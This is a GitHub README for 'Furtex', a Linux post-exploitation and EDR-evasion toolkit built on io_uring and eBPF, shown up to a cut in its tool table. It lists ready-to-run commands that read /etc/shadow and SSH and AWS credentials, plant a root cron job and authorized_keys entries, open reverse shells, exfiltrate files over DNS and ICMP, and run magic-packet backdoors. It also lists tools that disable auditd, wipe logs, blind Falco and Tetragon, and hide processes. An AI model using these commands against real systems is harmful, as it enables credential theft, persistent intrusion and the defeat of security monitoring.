GitHub - MatheuZSecurity/Furtex: Post-exploitation and evasion research toolkit for Linux.
Pangram verdict · v3.3
We believe that this document is a mix of AI-generated, AI-assisted, and human-written content
AI likelihood · overall
MixedArticle text · 1,335 words · 8 segments analyzed
Post-exploitation and evasion research toolkit for Linux, built around io_uring and eBPF. No liburing, no frameworks, raw syscalls throughout. More tools soon. PRs are welcome. Join in Rootkit Researchers
https://discord.gg/66N5ZQppU7
For authorized research and red team engagements only. Don't run this on systems you don't own.
Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
Requirements Toolchain
tool needed for
gcc all userspace binaries
clang ebpf/*.bpf.c BPF-side programs
make build system
Headers and libraries
package needed for
linux-headers-$(uname -r) <linux/bpf.h>, <linux/io_uring.h> and related kernel headers
libbpf-dev <bpf/bpf_helpers.h> and friends used in ebpf/ programs
bpftool generate vmlinux.h via make vmlinux inside ebpf/
On Debian/Kali/Ubuntu: sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool Kernel versions
minimum what it unlocks
5.4 io_uring base (IORING_FEAT_SINGLE_MMAP, BPF map iteration)
5.6 IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8 CAP_BPF + CAP_PERFMON split (replaces CAP_SYS_ADMIN for BPF)
5.9 BPF_LINK_DETACH (bpf_link_detach)
5.19 IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)
Capabilities
capability tools that require it
CAP_BPF (or CAP_SYS_ADMIN pre-5.8) all bpf/ tools, ebpf/ loaders
CAP_PERFMON ebpf/ tracepoint and kprobe programs
CAP_NET_RAW icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMIN xdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROL audit_kill
BTF must be enabled in the kernel (CONFIG_DEBUG_INFO_BTF=y) to run make vmlinux for ebpf/ programs. On distros with older libc-dev headers (Ubuntu 22.04 etc.) you may need #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Already handled in this repo. Build
command builds
make all everything
make uring io_uring/ only
make bpf bpf/ userspace tools
make ebpf BPF-side programs (needs clang + libbpf)
make edrs all edrs/ binaries
make techniques Falco bypass tools
make clean remove all binaries
edrs/ has its own sub-Makefile with ~75 binaries split by privilege: cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed
See PRIVILEGES.md for the full breakdown. io_uring bypass coverage io_uring SQEs go through the kernel workqueue. io_uring_enter(2) never calls through sys_call_table, never fires sys_enter_* tracepoints, and never hits livepatch on native_sys_call. That alone kills a large class of EDR hooks without touching anything. What io_uring bypasses on its own:
hook point note
sys_call_table pointer replacement io_uring never goes through the syscall table
livepatch on native_sys_call / compat_sys_call same reason
sys_enter_* tracepoints workqueue path, no tracepoint fires
What io_uring does NOT bypass on its own (needs an active tool):
hook point tool what the tool does
kprobes on vfs_read, security_file_open, etc.
ftrace_enum removes the kprobe hooks
BPF LSM / KRSI bpf_link_detach detaches the BPF link
Linux audit audit_kill disables auditd via NETLINK_AUDIT
LD_PRELOAD / PLT-GOT patches plt_unhook removes the userland hooks
netfilter OUTPUT / conntrack af_packet_shell uses AF_PACKET at layer 2, skips netfilter
inet_stream_connect hooks udp_shell uses UDP, never calls tcp connect path
io_uring/ iouring_utils.h handles ring setup without liburing.
binary what it does
file_read OPENAT+READ+CLOSE chain via io_uring, no sys_enter_read event
file_write OPENAT+WRITE+CLOSE chain
file_append same as file_write but O_APPEND, offset -1
net_connect SOCKET+CONNECT+SEND+RECV in one ring
net_reverse_shell reverse shell over io_uring CONNECT
multifile_read up to 64 files in one SQE batch
memfd_exec stream ELF via stdin into memfd, execve via /proc/self/fd
proc_inject JIT injection via /proc/PID/mem; ptrace injection (--ptrace flag)
pipe_splice SPLICE kernel-to-kernel, userspace hooks never see bytes
inotify_bypass_watch io_uring READ does not raise IN_ACCESS/IN_OPEN
dns_exfil hex-encode data as DNS query labels over io_uring SENDMSG
af_packet_send raw Ethernet via AF_PACKET (IORING_OP_SOCKET, bypasses inet path)
xdp_socket_send raw frame via AF_XDP + UMEM ring, bypasses netfilter entirely
./io_uring/file_read /etc/shadow ./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh" ./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..." ./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444 ./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials cat payload | ./io_uring/memfd_exec [args...] ./io_uring/pipe_splice /etc/shadow /tmp/out ./io_uring/inotify_bypass_watch /var/log/auth.log ./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject sudo ./io_uring/proc_inject <pid> sudo ./io_uring/proc_inject <pid> <shellcode_hex> sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload" sudo ./io_uring/xdp_socket_send eth0 <hex-frame> bpf/ Most tools require CAP_BPF. env_exfil works unprivileged. icmp_trigger requires CAP_NET_RAW instead of CAP_BPF.
binary what it does
map_recon list all loaded BPF maps
map_dumper dump map contents by ID
map_write update map entries by ID
map_poison zero Falco's interesting_sys entries around a payload
prog_recon list BPF programs: type, name, map count
pid_allowlist insert PID into an EDR allowlist map
edr_fin score loaded BPF maps/programs against known EDR heuristics
lsm_check detect active BPF LSM hooks and test if map writes are blocked
bpf_persist pin/retrieve/unpin
maps and programs on bpffs
map_snapshot save and restore map contents to a binary file
env_exfil read /proc/*/environ for secrets
bpf_link_detach enumerate and detach BPF links (removes LSM hooks)
link_update redirect a BPF link to a no-op program (hook stays visible, fires nothing)
map_freeze freeze a BPF map read-only via BPF_MAP_FREEZE (writes return -EPERM)
icmp_trigger ICMP magic-packet backdoor; spawns reverse shell via socketpair relay; masquerades as kworker/u4:2
sudo ./bpf/map_recon sudo ./bpf/map_dumper 42 --ascii sudo ./bpf/map_write <map_id> <key_hex> <val_hex> sudo ./bpf/prog_recon --maps --lsm-only sudo ./bpf/edr_fin sudo ./bpf/lsm_check <map_id> sudo ./bpf/pid_allowlist <map_id> [pid] sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map sudo ./bpf/bpf_persist list /sys/fs/bpf sudo ./bpf/map_snapshot save <prog_id> snap.bin sudo ./bpf/map_snapshot restore snap.bin ./bpf/env_exfil --filter AWS sudo
./bpf/bpf_link_detach list --lsm-only sudo ./bpf/bpf_link_detach detach-lsm --dry-run sudo ./bpf/link_update <link_id> sudo ./bpf/map_freeze <map_id> sudo ./bpf/map_freeze --prog <name_substr> sudo ./bpf/icmp_trigger --daemon sudo ./bpf/icmp_trigger --send <target> <c2_ip> <c2_port>
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444 ebpf/ Requires clang + libbpf + vmlinux.h. Run make vmlinux inside ebpf/ to generate from the running kernel's BTF.
file what it does
exec.bpf.c tracepoint on sys_enter_execve
fentry_open.bpf.c tracepoint on sys_enter_openat
creds.bpf.c track openat+read on credential paths
keylog.bpf.c input event tracepoint, raw keycode capture
net.bpf.c sys_enter_connect logging
net_hide.bpf.c hide ports from /proc/net/tcp and /proc/net/udp
proc_hide.bpf.c hide PIDs from getdents64 output
tty_sniff.bpf.c capture stdin/stdout/stderr writes and reads
skf_c2_runner.c ICMP C2 via classic BPF socket filter
xdp_backdoor.bpf.c + xdp_handler.c XDP trigger on magic UDP packet
sudo ./bpf/map_write <hidden_ports_id> 5c11 01 sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner ping -p 4d41474900$(printf
'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id> echo -n 'MAGICid' | nc -u -q1 <target> 31337 edrs/
binary root technique
edr_recon yes 12-vendor EDR detector: processes, artifacts, modules, BPF, kprobes
bpf_prog_recon yes enumerate loaded BPF programs, maps, and kprobes
bpf_map_wipe yes wipe BPF map entries
bpf_detach_all yes detach all BPF links
tetragon_blind yes scan, freeze, thaw, kill or blind Tetragon/Falco processes
ftrace_enum yes enumerate and clear kprobe/ftrace hooks
lkm_unload yes unload kernel modules
lkm_inline_detect yes detect inline kernel hooks
perf_bpf_kill yes enumerate and kill Falco perf-event BPF programs
module_recon yes enumerate kernel modules
cgroup_freeze yes freeze/thaw process via cgroup v2
oom_cage yes set oom_score_adj for self or target
sysctl_blind yes read/write security-relevant sysctls
audit_kill yes disable/throttle Linux audit via NETLINK_AUDIT
inotify_exhaust yes consume all inotify watches
netfilter_flush yes flush netfilter chains
dmesg_wipe yes clear kernel ring buffer
ld_so_preload yes manipulate /etc/ld.so.preload
proc_hide yes hide /proc/PID via bind-mount
mount_over yes bind-mount over arbitrary paths
log_wipe yes truncate log files and shell history
elf_infect yes PT_NOTE to PT_LOAD parasite injection
proc_mem_inject yes pwrite to /proc/PID/mem, no ptrace attach
af_packet_shell yes raw Ethernet C2 bypassing netfilter OUTPUT
icmp_tunnel yes exfil via ICMP echo-request payload
event_flood yes event flood around payload to saturate monitor
livepatch_bypass yes io_uring past livepatch hooks on syscall dispatcher
livepatch_stack_blind yes disable livepatch + BPF kprobe + netfilter hook stack; module unload via comm spoofing
lsm_authlink_blind yes disable LSM auth-link flows, freeze or kill auth agent, write via inode swap
lsm_callback_bypass yes bypass LSM callbacks via pidfd_getfd, process_vm_writev, perf+BPF attach, new netns
bpf_fim_blind yes freeze BPF FIM sensor, wipe ring-buffer map entries, flood ringbuf
syscall_dispatch_bypass yes io_uring file/net ops bypassing kprobes on syscall dispatch and livepatch do_syscall_64
bpf_kprobe_bypass yes io_uring file/net/exec ops bypassing _x64_sys* kprobe targets
ptrace_inject_so yes load .so into live process via ptrace + dlopen
uring_stealth no file/net ops via io_uring, no sys_enter_* events
openat2_bypass no alternative syscalls (openat2, copy_file_range)
ptrace_selfguard no block external ptrace via guardian process
plt_unhook no detect and bypass PLT-GOT hooks via dlmopen
fexecve_drop no ELF into memfd,